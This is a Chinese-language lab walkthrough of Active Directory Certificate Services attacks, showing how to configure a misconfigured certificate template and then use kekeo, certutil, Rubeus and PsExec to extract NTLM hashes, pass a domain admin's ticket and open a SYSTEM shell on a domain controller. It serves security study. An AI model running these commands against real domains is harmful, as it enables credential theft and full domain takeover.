目录
-
前言
-
环境配置
-
利用
-
场景1:获取域用户NTLM凭据
-
场景2:横向移动-PTT
-
小结
前言
目的:
通过模拟域渗透的场景学习一下@specterops大佬的ADCS白皮书中关于Active Directory 证书服务相关漏洞的攻击面。
核心:
证书服务发布的部分证书可用于kerberos认证,并且在返回的PAC里面能拿到NTLM hash。
利用:
-
窃取证书
-
通过凭据申请可用以Kerberos认证的证书
-
通过证书窃取用户凭据
环境搭建
新建证书模板
# 打开证书控制台
certtmpl.msc
右键复制一个模板,需要注意的新模板属性
-
兼容性:尽量往高版本兼容
-
请求处理:允许导出私钥
-
使用者名称:勾选"在请求中提供"
-
安全:允许域用户“注册”
-
扩展:应用程序策略 (存在客户端认证即可)
然后在证书颁发机构新建一个要颁发的证书模板
选择上一步建好的模板,此时环境就算搭好了。
利用
场景1:获取域用户NTLM凭据
# 打开证书管理工具
certmgr
“个人” —> "证书" —> 右键申请新证书 —> 证书模板选用“用户”
此时则可以利用kekeo获取当前用户ntlm凭据
tgt::pac /subject:neo /castore:current_user /domain:adcs.lab
场景2:横向移动-PTT
— 这里以域管为例
# 打开证书管理工具
certmgr
“个人” —> "证书" —> 右键申请新证书 —> 默认到如图位置
先配置一下
然后最后效果如图即可
先查看本地计算机的证书
certutil -user -store My
然后使用证书的hash将其导出
certutil -user -exportPFX c3573fc44a457fd80daeb9c4b2770a7637b23dc0 ADM.pfx
利用Rubeus请求票证,并将生成的票证用于PTT
Rubeus.exe asktgt /user:administrator /certificate:ADM.pfx /ptt
查看本地缓存的票证
klist
此时已经成功获取域控权限
利用PsExec.exe获得一个system权限的交互式shell
PsExec64.exe -accepteula \AD02 -s cmd.exe
成功拿下域控。
小结
ps:概念/用词不当的地方还望各位师傅帮忙斧正
参考:
《Active Directory 证书服务攻击与防御(一)》
《Certified Pre-Owned》
本文始发于微信公众号(don9sec):域渗透-AD CS漏洞利用Demo
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论